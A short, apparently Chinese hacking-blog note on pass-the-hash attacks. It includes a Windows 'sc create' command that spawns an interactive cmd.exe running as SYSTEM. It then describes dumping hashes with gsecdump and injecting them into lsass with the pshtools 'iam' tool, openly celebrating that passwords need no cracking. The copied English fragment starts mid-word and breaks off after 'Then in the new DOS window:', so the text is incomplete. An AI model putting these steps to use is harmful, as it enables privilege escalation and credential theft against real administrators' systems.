HASH注入式攻击

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

The service did not respond to the start or control request in a timely fashion.

Then in the new DOS window:

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
